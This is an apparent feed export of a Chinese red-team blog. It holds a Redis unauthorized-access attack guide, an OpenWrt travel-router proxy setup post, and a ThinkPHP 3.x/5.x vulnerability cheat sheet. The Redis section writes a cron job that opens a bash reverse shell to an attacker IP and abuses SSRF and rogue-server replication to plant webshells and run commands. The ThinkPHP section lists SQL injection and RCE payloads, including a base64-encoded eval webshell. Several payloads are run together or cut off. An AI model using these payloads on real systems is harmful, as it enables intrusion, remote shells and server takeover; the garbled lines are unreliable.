id="redis-写入计划任务-获取shell"><a href="#redis-写入计划任务-获取shell" class="headerlink" title="redis 写入计划任务 获取shell"></a>redis 写入计划任务 获取shell</h2><p>数据库中插入一条数据，将计划任务的内容作为value，key值随意，然后通过修改数据库的默认路径为目标主机计划任务的路径，把缓冲的数据保存在文件里，这样就可以在服务器端成功写入一个计划任务进行反弹shell</p><p>攻击机上监听</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -lvnp 5555</span><br></pre></td></tr></table></figure><p>登录目标网站</p><blockquote><p>根据不同类型的Linux需要更改路径<br>Centos的定时任务文件在</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/var/spool/cron/</span><br></pre></td></tr></table></figure><blockquote><p>Ubuntu定时任务文件在</p></blockquote><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/var/spool/cron/crontabs/</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">redis-cli -h 目标IP</span><br><span class="line"><span class="built_in">set</span> xxx <span class="string">&quot;\n\n*/1 * * * * /bin/bash -i&gt;&amp;/dev/tcp/攻击机IP/5555 0&gt;&amp;1\n\n&quot;</span></span><br><span class="line">config <span class="built_in">set</span> dir /var/spool/cron/crontabs/</span><br><span class="line">config <span class="built_in">set</span> dbfilename root</span><br><span class="line">save</span><br></pre></td></tr></table></figure><p>稍等片刻，即可反弹</p><h2 id="修复"><a href="#修复" class="headerlink" title="修复"></a>修复</h2><ul><li><p>  密码验证</p></li><li><p>  降权运⾏</p></li><li><p>  限制 ip / 修改端⼝</p></li></ul><p><a href="https://www.runoob.com/redis/redis-install.html" title="https://www.runoob.com/redis/redis-install.html">https://www.runoob.com/redis/redis-install.html</a></p><h2 id="SSRF利用Redis-写shell"><a href="#SSRF利用Redis-写shell" class="headerlink" title="SSRF利用Redis 写shell"></a>SSRF利用Redis 写shell</h2><p>不一定是ssrf 也可以是 spring 之类的，只要能获取到redis账号密码就行。</p><h3 id="SSRF-获取真实IP"><a href="#SSRF-获取真实IP" class="headerlink" title="SSRF 获取真实IP"></a>SSRF 获取真实IP</h3><p>vps 监听</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nc -lvvp <span class="number">1234</span></span><br></pre></td></tr></table></figure><p>ssrf 漏洞利用点请求服务器</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">url=http://<span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">1234</span></span><br></pre></td></tr></table></figure><p>去服务器上看可以看到真实IP</p><p>利用dict探测redis</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">url=<span class="built_in">dict</span>://<span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span></span><br></pre></td></tr></table></figure><p>发现开放 redis 服务</p><p>获取网站绝对路径如果是 可以根据网站特性获取</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/www/wwwroot/hx4_triangle/application</span><br></pre></td></tr></table></figure><h3 id="redis-利用主从复制纯净文件"><a href="#redis-利用主从复制纯净文件" class="headerlink" title="redis 利用主从复制纯净文件"></a>redis 利用主从复制纯净文件</h3><p><img src="/2022/1972078239/image_QN7QV4HYNQ.png"></p><h3 id="redis服务器写入shell"><a href="#redis服务器写入shell" class="headerlink" title="redis服务器写入shell"></a>redis服务器写入shell</h3><p>主服务器搭建</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">sudo yum install epel-release</span><br><span class="line">sudo yum -y install redis</span><br><span class="line">sudo systemctl start redis</span><br><span class="line"></span><br><span class="line">vi /etc/redis.conf</span><br><span class="line"><span class="comment">#修改配置文件 redis.conf</span></span><br><span class="line">bind <span class="number">0.0</span><span class="number">.0</span><span class="number">.0</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#将redis默认的守护关闭</span></span><br><span class="line">protected-mode yes 修改为 </span><br><span class="line">protected-mode no</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">sudo systemctl restart redis</span><br><span class="line">systemctl stop firewalld </span><br></pre></td></tr></table></figure><p>写shell</p><p>本地redis 写入&#x20;</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">flushall</span><br><span class="line"><span class="built_in">set</span> phpshell <span class="string">&quot;&lt;?php phpinfo();?&gt;&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># flushall 清空keys*</span></span><br><span class="line"><span class="comment"># 写shell的 phpshell为名字</span></span><br></pre></td></tr></table></figure><p>ssrf目标服务器写入</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">config:<span class="built_in">set</span>:<span class="built_in">dir</span>:/www/wwwroot/runtime/</span><br><span class="line">config:<span class="built_in">set</span>:dbfilename <span class="number">1.</span>php</span><br><span class="line">slaveof:<span class="number">192.168</span><span class="number">.1</span><span class="number">.1</span>:<span class="number">6379</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#指定路径</span></span><br><span class="line"><span class="comment">#修改文件名</span></span><br><span class="line"><span class="comment">#连接服务器</span></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>蚁剑连接</p><h3 id="使用redis利用工具"><a href="#使用redis利用工具" class="headerlink" title="使用redis利用工具"></a>使用redis利用工具</h3><p>vps 下载利用工具</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git clone https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server.git</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">cd Awsome-Redis-Rogue-Server/</span><br><span class="line">python3 redis_rogue_server.py -v -path <span class="number">1.</span>php <span class="comment"># 1.php 为自己写的马子</span></span><br></pre></td></tr></table></figure><p>用dict写shell</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">config get <span class="built_in">dir</span></span><br><span class="line">config <span class="built_in">set</span> <span class="built_in">dir</span> /var/lib/redis</span><br><span class="line">config <span class="built_in">set</span> dbfilename test.php</span><br></pre></td></tr></table></figure><h3 id="反弹shell"><a href="#反弹shell" class="headerlink" title="反弹shell"></a>反弹shell</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 redis_rogue_server.py -v -path module.so</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 查看当前redis的相关配置</span></span><br><span class="line">ssrf.php?url=<span class="built_in">dict</span>://<span class="number">172.16</span><span class="number">.186</span><span class="number">.4</span>:<span class="number">6379</span>/info</span><br><span class="line"></span><br><span class="line"><span class="comment"># 设置备份文件名</span></span><br><span class="line">ssrf.php?url=<span class="built_in">dict</span>://<span class="number">172.16</span><span class="number">.186</span><span class="number">.4</span>:<span class="number">6379</span>/config:<span class="built_in">set</span>:dbfilename:exp.so</span><br><span class="line"></span><br><span class="line"><span class="comment"># 连接恶意Redis服务器</span></span><br><span class="line">ssrf.php?url=<span class="built_in">dict</span>://<span class="number">172.16</span><span class="number">.186</span><span class="number">.4</span>:<span class="number">6379</span>/slaveof:<span class="number">192.168</span><span class="number">.0</span><span class="number">.107</span>:<span class="number">1234</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 加载恶意模块</span></span><br><span class="line">ssrf.php?url=<span class="built_in">dict</span>://<span class="number">172.16</span><span class="number">.186</span><span class="number">.4</span>:<span class="number">6379</span>/module:load:./exp.so</span><br><span class="line"></span><br><span class="line"><span class="comment"># 切断主从复制</span></span><br><span class="line">ssrf.php?url=<span class="built_in">dict</span>://<span class="number">172.16</span><span class="number">.186</span><span class="number">.4</span>:<span class="number">6379</span>/slaveof:no:one</span><br><span class="line"></span><br><span class="line"><span class="comment"># 执行系统命令</span></span><br><span class="line"> ssrf.php?url=<span class="built_in">dict</span>://<span class="number">172.16</span><span class="number">.186</span><span class="number">.4</span>:<span class="number">6379</span>/redisruntime.rev:<span class="number">192.168</span><span class="number">.0</span><span class="number">.107</span>:<span class="number">1234</span></span><br></pre></td></tr></table></figure><p><a href="https://juejin.cn/post/6860666710920265741" title="https://juejin.cn/post/6860666710920265741">https://juejin.cn/post/6860666710920265741</a></p><p><a href="https://www.t00ls.cc/articles-56339.html" title="https://www.t00ls.cc/articles-56339.html">https://www.t00ls.cc/articles-56339.html</a></p>]]></content>
    
    
    <summary type="html">redis 6379 打点思路</summary>
    
    
    
    <category term="红队打点" scheme="https://fz1lin.com/categories/%E7%BA%A2%E9%98%9F%E6%89%93%E7%82%B9/"/>
    
    
    <category term="Redis" scheme="https://fz1lin.com/tags/Redis/"/>
    
    <category term="未授权访问" scheme="https://fz1lin.com/tags/%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE/"/>
    
  </entry>
  
  <entry>
    <title>N1 软路由刷 openwrt</title>
    <link href="https://fz1lin.com/2022/1386849462/"/>
    <id>https://fz1lin.com/2022/1386849462/</id>
    <published>2022-05-15T08:23:53.000Z</published>
    <updated>2022-05-15T08:44:01.659Z</updated>
    
    <content type="html"><![CDATA[<p>解决问题：</p><p>用于出差随身携带，实现科学上网，所有流量走路由器，而不是本机代理，有些扫描器或者软件，权限高，不走全局代理，容易漏IP，因此我们需要从路由上解决，也可以使用openwrt走旁路由，不过本教程只是中继，后续出旁路由吧，本教程仅用于安全研究以技术交流，造成的后果使用者负责。</p><p>设备：斐讯 N1</p><h2 id="N1-刷openwrt-x20"><a href="#N1-刷openwrt-x20" class="headerlink" title="N1 刷openwrt&#x20;"></a>N1 刷openwrt&#x20;</h2><p>固件：<a href="https://www.aliyundrive.com/s/KhSCHkTZeei" title="https://www.aliyundrive.com/s/KhSCHkTZeei">https://www.aliyundrive.com/s/KhSCHkTZeei</a>   提取码: 34ei</p><p>N1刷openwrt教程：<a href="http://readme.jimostudio.link:9000/?id=57" title="http://readme.jimostudio.link:9000/?id=57">http://readme.jimostudio.link:9000/?id=57</a></p><h2 id="拓扑图"><a href="#拓扑图" class="headerlink" title="拓扑图"></a>拓扑图</h2><p><img src="/2022/1386849462/N1%E6%8B%93%E6%89%91%E5%9B%BE_2lqmA54YCH.png"></p><h2 id="N1-软路由无线中继模式"><a href="#N1-软路由无线中继模式" class="headerlink" title="N1 软路由无线中继模式"></a>N1 软路由无线中继模式</h2><p>进入后台</p><p><a href="http://192.168.1.100/cgi-bin/luci/" title="http://192.168.1.100/">http://192.168.1.100/</a></p><p>账号 root 密码password</p><p>无线中继模式</p><p>点击扫描</p><p><img src="/2022/1386849462/image_U6B37R4C2w.png"></p><p>加入网络</p><p><img src="/2022/1386849462/image_C0O29wzD14.png"></p><p>输入密码-提交</p><p><img src="/2022/1386849462/image_-lLoSzcQzW.png"></p><p>选择接口 LAN 也就是网线的那个口，设置DNS 访问百度测试</p><p><img src="/2022/1386849462/image_4xNFMVx9Ky.png"></p><p>测试成功说明路由走路由器了</p><h2 id="科学上网"><a href="#科学上网" class="headerlink" title="科学上网"></a>科学上网</h2><p><img src="/2022/1386849462/image_CNNX3hA7-u.png"></p><p>需要自己准备机场列表</p><p>点击添加-启用勾选-备注随便填-把订阅连接添加上面-保存应用-手动订阅</p><p><img src="/2022/1386849462/image_kI3glymSHL.png"></p><p>主开关勾选 -选择自己机场的节点</p><p><img src="/2022/1386849462/image_M4MHkVycxc.png"></p><p>这里根据自己的喜好，更改代理模式</p><p><img src="/2022/1386849462/image_w7Xsim2z1Z.png"></p><p>访问 <a href="http://ip111.cn/" title="http://ip111.cn/">http://ip111.cn/</a></p><p><img src="/2022/1386849462/image_AfGPD46ypu.png"></p><h2 id="FAQ"><a href="#FAQ" class="headerlink" title="FAQ"></a>FAQ</h2><p>如果未生效重启一下路由或者禁用启用一下网卡</p>]]></content>
    
    
    <summary type="html">告别windows 走本地代理，实现路由器走全局代理，中继模式，出差便携</summary>
    
    
    
    <category term="软路由" scheme="https://fz1lin.com/categories/%E8%BD%AF%E8%B7%AF%E7%94%B1/"/>
    
    
    <category term="N1" scheme="https://fz1lin.com/tags/N1/"/>
    
    <category term="Router" scheme="https://fz1lin.com/tags/Router/"/>
    
    <category term="openwrt" scheme="https://fz1lin.com/tags/openwrt/"/>
    
  </entry>
  
  <entry>
    <title>ThinkPHP 3.x ，5.x 漏洞速查</title>
    <link href="https://fz1lin.com/2022/429639226/"/>
    <id>https://fz1lin.com/2022/429639226/</id>
    <published>2022-02-20T08:40:53.000Z</published>
    <updated>2022-02-20T08:56:46.750Z</updated>
    
    <content type="html"><![CDATA[<h2 id="ThinkPHP-版本探测"><a href="#ThinkPHP-版本探测" class="headerlink" title="ThinkPHP 版本探测"></a>ThinkPHP 版本探测</h2><p>使用浏览器插件判断是 ThinkPHP </p><p><img src="/2022/429639226/image-20220218132319732.png" alt="image-20220218132319732"> </p><p>提交任意字符，会爆出框架版本</p><p> <img src="/2022/429639226/image-20220218134539894.png" alt="image-20220218134539894"> </p><p>如果版本隐藏，可以考虑盲打。使用payload即可，作为打点漏洞，需要知道，该漏洞是否有利用面，也就是进一步的深入，能否获取内网获取权限。</p><h2 id="ThinkPHP-3-2-3-漏洞"><a href="#ThinkPHP-3-2-3-漏洞" class="headerlink" title="ThinkPHP 3.2.3 漏洞"></a>ThinkPHP 3.2.3 漏洞</h2><figure class="highlight awk"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">http:<span class="regexp">//u</span>rl<span class="regexp">/ThinkPHP/</span>POC</span><br></pre></td></tr></table></figure><p>order by 注入漏洞</p><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?<span class="keyword">order</span>[updatexml(<span class="number">1</span>,concat(<span class="number">0x3a</span>,<span class="keyword">user</span>()),<span class="number">1</span>)]=<span class="number">1</span></span><br></pre></td></tr></table></figure><p>update 注入漏洞</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">money</span>[]=<span class="number">1123</span>&amp;user=liao&amp;id[<span class="number">0</span>]=bind&amp;id[<span class="number">1</span>]=<span class="number">0</span>%<span class="number">20</span>and%<span class="number">20</span>(updatexml(<span class="number">1</span>,concat(<span class="number">0</span>x<span class="number">7</span>e,(select%<span class="number">20</span>user()),<span class="number">0</span>x<span class="number">7</span>e),<span class="number">1</span>))</span><br></pre></td></tr></table></figure><h3 id="3-2-x-RCE-漏洞"><a href="#3-2-x-RCE-漏洞" class="headerlink" title="3.2.x  RCE 漏洞"></a>3.2.x  RCE 漏洞</h3><p>关闭 debug</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">GET</span> /index.php?m=--&gt;&lt;?=phpinfo();?&gt; HTTP/<span class="number">1</span>.<span class="number">1</span></span><br><span class="line"><span class="attribute">Host</span>: <span class="number">127.0.0.1</span></span><br><span class="line"><span class="attribute">User</span>-Agent: Mozilla/<span class="number">5</span>.<span class="number">0</span> (Macintosh; Intel Mac OS X <span class="number">10</span>_<span class="number">15</span>_<span class="number">6</span>) AppleWebKit/<span class="number">605</span>.<span class="number">1</span>.<span class="number">15</span> (KHTML, like Gecko) Version/<span class="number">13</span>.<span class="number">1</span>.<span class="number">2</span> Safari/<span class="number">605</span>.<span class="number">1</span>.<span class="number">15</span></span><br><span class="line"><span class="attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=<span class="number">0</span>.<span class="number">9</span>,image/webp,*/*;q=<span class="number">0</span>.<span class="number">8</span></span><br><span class="line"><span class="attribute">Accept</span>-Language: en-GB,en;q=<span class="number">0</span>.<span class="number">5</span></span><br><span class="line"><span class="attribute">Accept</span>-Encoding: gzip, deflate</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br><span class="line"><span class="attribute">Cookie</span>: PHPSESSID=b<span class="number">6</span>r<span class="number">46</span>ojgc<span class="number">9</span>tvdqpg<span class="number">9</span>efrao<span class="number">7</span>f<span class="number">66</span>;</span><br><span class="line"><span class="attribute">Upgrade</span>-Insecure-Requests: <span class="number">1</span></span><br></pre></td></tr></table></figure><p>读取日志文件</p><figure class="highlight taggerscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">\A</span>pplication<span class="symbol">\R</span>untime<span class="symbol">\L</span>ogs<span class="symbol">\C</span>ommon<span class="symbol">\2</span>1_06_30.log</span><br></pre></td></tr></table></figure><figure class="highlight asciidoc"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="link">http://127.0.0.1/index.php?m=Home&amp;c=Index&amp;a=index&amp;value</span>[<span class="string">_filename</span>]=./Application/Runtime/Logs/Common/21_06_30.log</span><br></pre></td></tr></table></figure><p>开启debug</p><figure class="highlight apache"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">GET</span> /index.php?m=Home&amp;c=Index&amp;a=index&amp;test=--&gt;&lt;?=phpinfo();?&gt; HTTP/<span class="number">1</span>.<span class="number">1</span></span><br><span class="line"><span class="attribute">Host</span>: <span class="number">127.0.0.1</span></span><br><span class="line"><span class="attribute">User</span>-Agent: Mozilla/<span class="number">5</span>.<span class="number">0</span> (Macintosh; Intel Mac OS X <span class="number">10</span>_<span class="number">15</span>_<span class="number">6</span>) AppleWebKit/<span class="number">605</span>.<span class="number">1</span>.<span class="number">15</span> (KHTML, like Gecko) Version/<span class="number">13</span>.<span class="number">1</span>.<span class="number">2</span> Safari/<span class="number">605</span>.<span class="number">1</span>.<span class="number">15</span></span><br><span class="line"><span class="attribute">Accept</span>: text/html,application/xhtml+xml,application/xml;q=<span class="number">0</span>.<span class="number">9</span>,image/webp,*/*;q=<span class="number">0</span>.<span class="number">8</span></span><br><span class="line"><span class="attribute">Accept</span>-Language: en-GB,en;q=<span class="number">0</span>.<span class="number">5</span></span><br><span class="line"><span class="attribute">Accept</span>-Encoding: gzip, deflate</span><br><span class="line"><span class="attribute">Connection</span>: close</span><br><span class="line"><span class="attribute">Cookie</span>: PHPSESSID=b<span class="number">6</span>r<span class="number">46</span>ojgc<span class="number">9</span>tvdqpg<span class="number">9</span>efrao<span class="number">7</span>f<span class="number">66</span>;</span><br><span class="line"><span class="attribute">Upgrade</span>-Insecure-Requests: <span class="number">1</span></span><br></pre></td></tr></table></figure><p>文件默认路径</p><figure class="highlight taggerscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="symbol">\A</span>pplication<span class="symbol">\R</span>untime<span class="symbol">\L</span>ogs<span class="symbol">\H</span>ome<span class="symbol">\2</span>1_06_30.log</span><br></pre></td></tr></table></figure><figure class="highlight asciidoc"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="link">http://127.0.0.1/index.php?m=Home&amp;c=Index&amp;a=index&amp;value</span>[<span class="string">_filename</span>]=./Application/Runtime/Logs/Home/21_06_30.log</span><br></pre></td></tr></table></figure><p>传入恶意文件，传入文件地址</p><figure class="highlight asciidoc"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="link">http://127.0.0.1/index.php?m=Home&amp;c=Index&amp;a=index&amp;value</span>[<span class="string">_filename</span>]=./test.txt</span><br></pre></td></tr></table></figure><p>最终payload</p><figure class="highlight asciidoc"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="link">http://127.0.0.1/index.php?m=Home&amp;c=Index&amp;a=index&amp;info</span>[<span class="string">_filename</span>]=.\</span><br></pre></td></tr></table></figure><h2 id="ThinkPHP-5-x-漏洞"><a href="#ThinkPHP-5-x-漏洞" class="headerlink" title="ThinkPHP 5.x 漏洞"></a>ThinkPHP 5.x 漏洞</h2><p>tp框架系列中，5.0.x 跟 5.1.x 中，各个系列里的poc是几乎为通用的<br>5.0.1中某个poc在5.0.3中也是可以用的，也就是说当我们碰到5.0.8的时候，可以尝试用5.0.1<br>或 5.0.5等 5.0.x 系列的poc去尝试使用，5.1.x 系列同理</p><p>漏洞成因</p><figure class="highlight vbscript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">路由控制不严谨，默认不开启强制路由，从而可以任意调用Thinkphp的类库</span><br><span class="line"></span><br><span class="line">主要有两种方法，</span><br><span class="line"></span><br><span class="line"><span class="number">1.</span><span class="built_in">Request</span>中的变量覆盖导致RCE</span><br><span class="line"><span class="number">2.</span>路由控制不严谨导致的RCE</span><br></pre></td></tr></table></figure><h3 id="Thinkphp-5-0-1"><a href="#Thinkphp-5-0-1" class="headerlink" title="Thinkphp 5.0.1"></a>Thinkphp 5.0.1</h3><p>（1）判断是否存在漏洞</p><p>poc1</p><pre><code>http://wwww.com/publics=phpinfo()&amp;_method=__construct&amp;filter=assert_method=__construct&amp;method=get&amp;filter[]=call_user_func&amp;server[]=phpinfo&amp;get[]=phpinfo_method=__construct&amp;method=get&amp;filter[]=call_user_func&amp;get[]=phpinfo_method=__construct&amp;method=get&amp;filter[]=call_user_func&amp;get[0]=phpinfo&amp;get[1]=1</code></pre><p>poc2</p><pre><code>http:/xxxx.com/?s=index/index/indexs=ipconfig&amp;_mehthod=__construct$method=&amp;filter[]=system</code></pre><p>（2）深入利用</p><p>使用post提交</p><p>1、使用assert函数</p><pre><code>s=phpinfo()&amp;_method=__construct&amp;filter=assert</code></pre><p>2、include函数，可以根据此函数查看一些文件及其配置</p><pre><code>s=include(&quot;/etc/passwd&quot;)&amp;_method=__construct&amp;filter=assert</code></pre><p>3、file_put_contents函数，可以直接写入文件</p><pre><code>s=file_put_contents(&#39;/data/wwwroot/test.com/application/index/test.php&#39;,base64_decode(&#39;PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4&#39;))&amp;_method=__construct&amp;filter=assert</code></pre><p>4、读取文件</p><pre><code>_method=__construct&amp;method=get&amp;filter[]=think\__include_file&amp;server[]=phpinfo&amp;get[]=../application/.htaccesss=include(&quot;../application/.htaccess&quot;)&amp;_method=__construct&amp;filter=assert//ps:如果不加.. 请加上完整路径</code></pre><p>5、var_dump函数，可以查看该路径下的文件，文件夹</p><pre><code>s=var_dump(scandir(&#39;../application/&#39;))&amp;_method=__construct&amp;filter=assert</code></pre><p>6、复制文件</p><pre><code>s=copy(&quot;/data/wwwroot/data.tar&quot;, &quot;/data/wwwroot/test.com/public/data.tar&quot;)&amp;_method=__construct&amp;filter=asser</code></pre><h3 id="Thinkphp-5-0-2"><a href="#Thinkphp-5-0-2" class="headerlink" title="Thinkphp 5.0.2"></a>Thinkphp 5.0.2</h3><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">POST  /?s=<span class="keyword">index</span>/<span class="keyword">index</span></span><br><span class="line"></span><br><span class="line">s=whoami&amp;_method=__construct&amp;<span class="keyword">method</span>=POST&amp;<span class="keyword">filter</span>[]=<span class="keyword">system</span></span><br><span class="line"></span><br><span class="line">aaaa=whoami&amp;_method=__construct&amp;<span class="keyword">method</span>=<span class="keyword">GET</span>&amp;<span class="keyword">filter</span>[]=<span class="keyword">system</span></span><br><span class="line"></span><br><span class="line">_method=__construct&amp;<span class="keyword">method</span>=<span class="keyword">GET</span>&amp;<span class="keyword">filter</span>[]=<span class="keyword">system</span>&amp;<span class="keyword">get</span>[]=whoami</span><br></pre></td></tr></table></figure><p>getshell</p><figure class="highlight oxygene"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">POST  /?s=<span class="keyword">index</span>/<span class="keyword">index</span></span><br><span class="line"></span><br><span class="line">s=file_put_contents(<span class="string">&#x27;zerosec.php&#x27;</span>,<span class="string">&#x27;&lt;?php phpinfo();&#x27;</span>)&amp;_method=__construct&amp;<span class="function"><span class="keyword">method</span>=<span class="title">POST</span>&amp;<span class="title">filter</span>[]=<span class="title">assert</span></span></span><br></pre></td></tr></table></figure><h3 id="Thinkphp-5-0-3"><a href="#Thinkphp-5-0-3" class="headerlink" title="Thinkphp 5.0.3"></a>Thinkphp 5.0.3</h3><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">POST  /?s=<span class="keyword">index</span>/<span class="keyword">index</span></span><br><span class="line"></span><br><span class="line">s=whoami&amp;_method=__construct&amp;<span class="keyword">method</span>=POST&amp;<span class="keyword">filter</span>[]=<span class="keyword">system</span></span><br><span class="line"></span><br><span class="line">aaaa=whoami&amp;_method=__construct&amp;<span class="keyword">method</span>=<span class="keyword">GET</span>&amp;<span class="keyword">filter</span>[]=<span class="keyword">system</span></span><br><span class="line"></span><br><span class="line">_method=__construct&amp;<span class="keyword">method</span>=<span class="keyword">GET</span>&amp;<span class="keyword">filter</span>[]=<span class="keyword">system</span>&amp;<span class="keyword">get</span>[]=whoami</span><br></pre></td></tr></table></figure><p>getshell</p><figure class="highlight oxygene"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">POST  /?s=<span class="keyword">index</span>/<span class="keyword">index</span></span><br><span class="line"></span><br><span class="line">s=file_put_contents(<span class="string">&#x27;zerosec.php&#x27;</span>,<span class="string">&#x27;&lt;?php phpinfo();&#x27;</span>)&amp;_method=__construct&amp;<span class="function"><span class="keyword">method</span>=<span class="title">POST</span>&amp;<span class="title">filter</span>[]=<span class="title">assert</span></span></span><br></pre></td></tr></table></figure><h3 id="Thinkphp-5-0-4"><a href="#Thinkphp-5-0-4" class="headerlink" title="Thinkphp 5.0.4"></a>Thinkphp 5.0.4</h3><figure class="highlight pgsql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">POST  /?s=<span class="keyword">index</span>/<span class="keyword">index</span></span><br><span class="line"></span><br><span class="line">s=whoami&amp;_method=__construct&amp;<span class="keyword">method</span>=POST&amp;<span class="keyword">filter</span>[]=<span class="keyword">system</span></span><br><span class="line"></span><br><span class="line">aaaa=whoami&amp;_method=__construct&amp;<span class="keyword">method</span>=<span class="keyword">GET</span>&amp;<span class="keyword">filter</span>[]=<span class="keyword">system</span></span><br><span class="line"></span><br><span class="line">_method=__construct&amp;<span class="keyword">method</span>=<span class="keyword">GET</span>&amp;<span class="keyword">filter</span>[]=<span class="keyword">system</span>&amp;<span class="keyword">get</span>[]=whoami</span><br></pre></td></tr></table></figure><p>getshell</p><figure class="highlight oxygene"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">POST</span><br><span class="line"></span><br><span class="line">s=file_put_contents(<span class="string">&#x27;zerosec.php&#x27;</span>,<span class="string">&#x27;&lt;?php phpinfo();&#x27;</span>)&amp;_method=__construct&amp;<span class="function"><span class="keyword">method</span>=<span class="title">POST</span>&amp;<span class="title">filter</span>[]=<span 